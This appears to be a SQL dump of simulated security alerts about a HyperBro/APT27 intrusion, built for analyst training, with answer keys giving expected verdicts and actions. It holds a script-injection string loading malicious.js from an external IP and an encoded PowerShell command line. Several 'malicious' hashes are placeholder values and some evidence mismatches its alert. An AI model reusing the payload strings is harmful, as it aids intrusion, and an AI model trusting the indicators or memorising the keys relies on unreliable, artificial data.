src=\'http://203.0.113.45/malicious.js\'></script>\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"filename\\\":\\\"malicious.js\\\",\\\"username\\\":\\\"jdoe\\\",\\\"event_id\\\":\\\"evt-2023-1014-0001\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1178, 'HyperBro Malware Execution Attempt', 'high', 'Endpoint Detection and Response (EDR)', 'The EDR detected an attempt to execute the HyperBro malware on the endpoint. Upon visiting the compromised site, the user unwittingly downloaded the malware, allowing attackers to initiate control over the infected device.', 'Malware Execution', 'T1204.002 - User Execution: Malicious File', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-20T14:23:45Z\",\"event_id\":\"3029\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"user\":\"jdoe\",\"file_name\":\"setup.exe\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"process_id\":\"4567\",\"event_type\":\"malware_execution\",\"url\":\"http://malicious-example.com/download\",\"action_taken\":\"quarantine\",\"detection_method\":\"behavioral_analysis\"}', '2026-02-07 21:22:02', '2026-02-23 11:17:33', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"Associated with multiple malware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalNetwork\",\"verdict\":\"internal\",\"details\":\"Internal endpoint.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known HyperBro malware hash.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-example.com/download\",\"is_critical\":true,\"osint_result\":{\"source\":\"OpenPhish\",\"verdict\":\"malicious\",\"details\":\"Malicious URL hosting malware.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"setup.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR\",\"verdict\":\"malicious\",\"details\":\"Identified as a HyperBro payload.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1179, 'Establishing Persistence via Scheduled Task', 'high', 'System Logs', 'The attackers establish persistence on the compromised machines by creating a scheduled task that ensures HyperBro reloads even after system reboots. The task is configured to run at system start, executing a malicious script associated with the HyperBro RAT.', 'Persistence Mechanism', 'T1053.005', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"log_source\":\"Windows Event Log\",\"event_id\":106,\"level\":\"Information\",\"computer_name\":\"compromised-host\",\"user\":\"SYSTEM\",\"task_name\":\"\\\\Microsoft\\\\Windows\\\\UpdateTask\",\"task_action\":\"Create\",\"action_type\":\"Execute\",\"action_detail\":\"C:\\\\Windows\\\\Temp\\\\setup.exe\",\"task_parameters\":\"/c C:\\\\Windows\\\\Temp\\\\setup.exe\",\"attacker_ip\":\"203.0.113.45\",\"malware_hash\":\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\",\"internal_ip\":\"192.168.1.101\",\"username\":\"admin\"}', '2026-02-07 21:22:02', '2026-02-23 11:32:26', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C&C server associated with APT campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Identified as HyperBro RAT payload.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Local administrator account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'advanced', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"log_source\\\":\\\"Windows Event Log\\\",\\\"event_id\\\":106,\\\"level\\\":\\\"Information\\\",\\\"computer_name\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_detail\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"task_parameters\\\":\\\"/c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"log_source\\\":\\\"Windows Event Log\\\",\\\"event_id\\\":106,\\\"level\\\":\\\"Information\\\",\\\"computer_name\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_detail\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"task_parameters\\\":\\\"/c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"log_source\\\":\\\"Windows Event Log\\\",\\\"event_id\\\":106,\\\"level\\\":\\\"Information\\\",\\\"computer_name\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_detail\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"task_parameters\\\":\\\"/c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"log_source\\\":\\\"Windows Event Log\\\",\\\"event_id\\\":106,\\\"level\\\":\\\"Information\\\",\\\"computer_name\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_detail\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"task_parameters\\\":\\\"/c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"admin\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.470Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"log_source\\\":\\\"Windows Event Log\\\",\\\"event_id\\\":106,\\\"level\\\":\\\"Information\\\",\\\"computer_name\\\":\\\"compromised-host\\\",\\\"user\\\":\\\"SYSTEM\\\",\\\"task_name\\\":\\\"\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\UpdateTask\\\",\\\"task_action\\\":\\\"Create\\\",\\\"action_type\\\":\\\"Execute\\\",\\\"action_detail\\\":\\\"C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"task_parameters\\\":\\\"/c C:\\\\\\\\Windows\\\\\\\\Temp\\\\\\\\setup.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"malware_hash\\\":\\\"e3cbb8c2c1a4d3b9f1b2e7d4b4e5f6c7\\\",\\\"internal_ip\\\":\\\"192.168.1.101\\\",\\\"username\\\":\\\"admin\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);

INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1191, 'Data Exfiltration via Encrypted Channels', 'critical', 'Network Traffic Analysis', 'In the final stage, the attackers successfully exfiltrated sensitive data using encrypted channels to evade detection, completing their espionage mission. The data was sent to an external IP associated with known malicious activities.', 'Data Exfiltration', 'T1048', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-18T14:23:45Z\",\"source_ip\":\"192.168.10.15\",\"destination_ip\":\"198.51.100.23\",\"protocol\":\"HTTPS\",\"bytes_sent\":5242880,\"encryption\":\"SSL/TLS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"file_hash\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"filename\":\"financial_report_2023.pdf\",\"username\":\"jdoe\",\"indicator_type\":\"network\",\"event_type\":\"data_exfiltration\",\"tags\":[\"encrypted\",\"sensitive\",\"exfiltration\"]}', '2026-02-07 21:23:06', '2026-02-16 04:57:10', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"malicious_ip_database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known threat actors\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3f786850e387550fdab836ed7e6dc881de23001b\",\"is_critical\":true,\"osint_result\":{\"source\":\"virus_total\",\"verdict\":\"suspicious\",\"details\":\"File hash linked to previous suspicious activity\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_report_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document typically targeted by data theft operations\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1192, 'Suspicious Email with Malicious Payload', 'high', 'Email security gateway logs', 'An email purportedly from a trusted aerospace partner was sent to a key engineer with a malicious payload designed to deploy the HyperBro backdoor. The email originated from an IP linked to known APT27 activity.', 'Phishing', 'T1566.001 - Spearphishing Attachment', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-14T08:23:45Z\",\"email\":{\"from\":\"trusted.partner@example.com\",\"to\":\"john.doe@aerospacecorp.com\",\"subject\":\"New Project Proposal\",\"attachment\":{\"filename\":\"Project_Proposal.pdf.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}},\"network\":{\"src_ip\":\"203.0.113.15\",\"dst_ip\":\"192.168.1.45\"},\"user\":\"john.doe@aerospacecorp.com\"}', '2026-02-07 21:23:28', '2026-02-21 08:11:21', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"email\",\"value\":\"trusted.partner@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelDB\",\"verdict\":\"suspicious\",\"details\":\"Email address used in previous spear-phishing campaigns linked to APT27\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known HyperBro backdoor sample\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"MaliciousIPDB\",\"verdict\":\"malicious\",\"details\":\"IP address associated with APT27 command and control servers\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"Project_Proposal.pdf.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalSecurityDB\",\"verdict\":\"malicious\",\"details\":\"Executable masquerading as PDF, common tactic in phishing attacks\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"john.doe@aerospacecorp.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Targeted employee in the aerospace department\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Suspicious Email with Malicious Payload\",\"date\":\"2026-02-08T19:00:02.507Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1193, 'Execution of HyperBro Backdoor', 'high', 'Endpoint detection and response (EDR) logs', 'Upon clicking the email attachment, the HyperBro backdoor is executed, establishing a persistent foothold on the victim\'s machine to facilitate further operations.', 'Malware Execution', 'T1059 - Command and Scripting Interpreter', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-15T14:28:34Z\",\"event_id\":\"EDR1234567\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.101\",\"malware_name\":\"HyperBro\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\invoice.docx\",\"hash\":\"5d41402abc4b2a76b9719d911017c592\",\"process_id\":6789,\"process_name\":\"Winword.exe\",\"command_line\":\"C:\\\\Program Files\\\\Microsoft Office\\\\root\\\\Office16\\\\WINWORD.EXE /n \\\"C:\\\\Users\\\\jdoe\\\\Documents\\\\invoice.docx\\\"\",\"network_connections\":[{\"ip\":\"203.0.113.45\",\"port\":443,\"protocol\":\"HTTPS\"}]}', '2026-02-07 21:23:28', '2026-02-21 08:12:25', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as HyperBro backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"C:\\\\Users\\\\jdoe\\\\Documents\\\\invoice.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"Document used as a lure to deploy malware.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1194, 'Establishing Persistence via Registry Modification', 'high', 'Windows registry audit logs', 'APT27 has modified the registry entry to ensure the HyperBro backdoor reloads after system reboots, maintaining persistent access to the compromised system.', 'Persistence', 'T1547.001 - Registry Run Keys / Startup Folder', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-18T14:45:00Z\",\"event_id\":4657,\"event_type\":\"Registry Value Change\",\"user\":\"admin_user\",\"user_sid\":\"S-1-5-21-3623811015-3361044348-30300820-1013\",\"computer_name\":\"CompromisedHost01\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"registry_value_name\":\"HyperBro\",\"registry_value\":\"\\\"C:\\\\Windows\\\\System32\\\\hyperbro.exe\\\"\",\"process_id\":5123,\"process_name\":\"regedit.exe\",\"network_information\":{\"source_ip\":\"10.0.0.45\",\"destination_ip\":\"203.0.113.42\",\"destination_port\":80},\"file_hash\":\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\"}', '2026-02-07 21:23:28', '2026-02-21 16:02:18', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.42\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with APT27.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Identified as HyperBro backdoor.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"hyperbro.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Part of the APT27 toolkit.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"admin_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Audit\",\"verdict\":\"internal\",\"details\":\"Privileged account used in multiple suspicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-08T19:00:02.510Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:45:00Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Value Change\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"computer_name\\\":\\\"CompromisedHost01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"HyperBro\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hyperbro.exe\\\\\\\"\\\",\\\"process_id\\\":5123,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_information\\\":{\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"destination_port\\\":80},\\\"file_hash\\\":\\\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\\\"}\"},{\"timestamp\":\"2026-02-08T18:59:02.510Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:45:00Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Value Change\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"computer_name\\\":\\\"CompromisedHost01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"HyperBro\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hyperbro.exe\\\\\\\"\\\",\\\"process_id\\\":5123,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_information\\\":{\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"destination_port\\\":80},\\\"file_hash\\\":\\\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\\\"}\"},{\"timestamp\":\"2026-02-08T18:58:02.510Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:45:00Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Value Change\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"computer_name\\\":\\\"CompromisedHost01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"HyperBro\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hyperbro.exe\\\\\\\"\\\",\\\"process_id\\\":5123,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_information\\\":{\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"destination_port\\\":80},\\\"file_hash\\\":\\\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\\\"}\"},{\"timestamp\":\"2026-02-08T18:57:02.510Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:45:00Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Value Change\\\",\\\"user\\\":\\\"admin_user\\\",\\\"user_sid\\\":\\\"S-1-5-21-3623811015-3361044348-30300820-1013\\\",\\\"computer_name\\\":\\\"CompromisedHost01\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"registry_value_name\\\":\\\"HyperBro\\\",\\\"registry_value\\\":\\\"\\\\\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\hyperbro.exe\\\\\\\"\\\",\\\"process_id\\\":5123,\\\"process_name\\\":\\\"regedit.exe\\\",\\\"network_information\\\":{\\\"source_ip\\\":\\\"10.0.0.45\\\",\\\"destination_ip\\\":\\\"203.0.113.42\\\",\\\"destination_port\\\":80},\\\"file_hash\\\":\\\"b5a5b4c7f4e2c5d8a2b0e4c5a6b7c8d9\\\"}\"},{\"timestamp\":\"2026-02-08T18:56:02.510Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-18T14:45:00Z\\\",\\\"event_id\\\":4657,\\\"event_type\\\":\\\"Registry Value 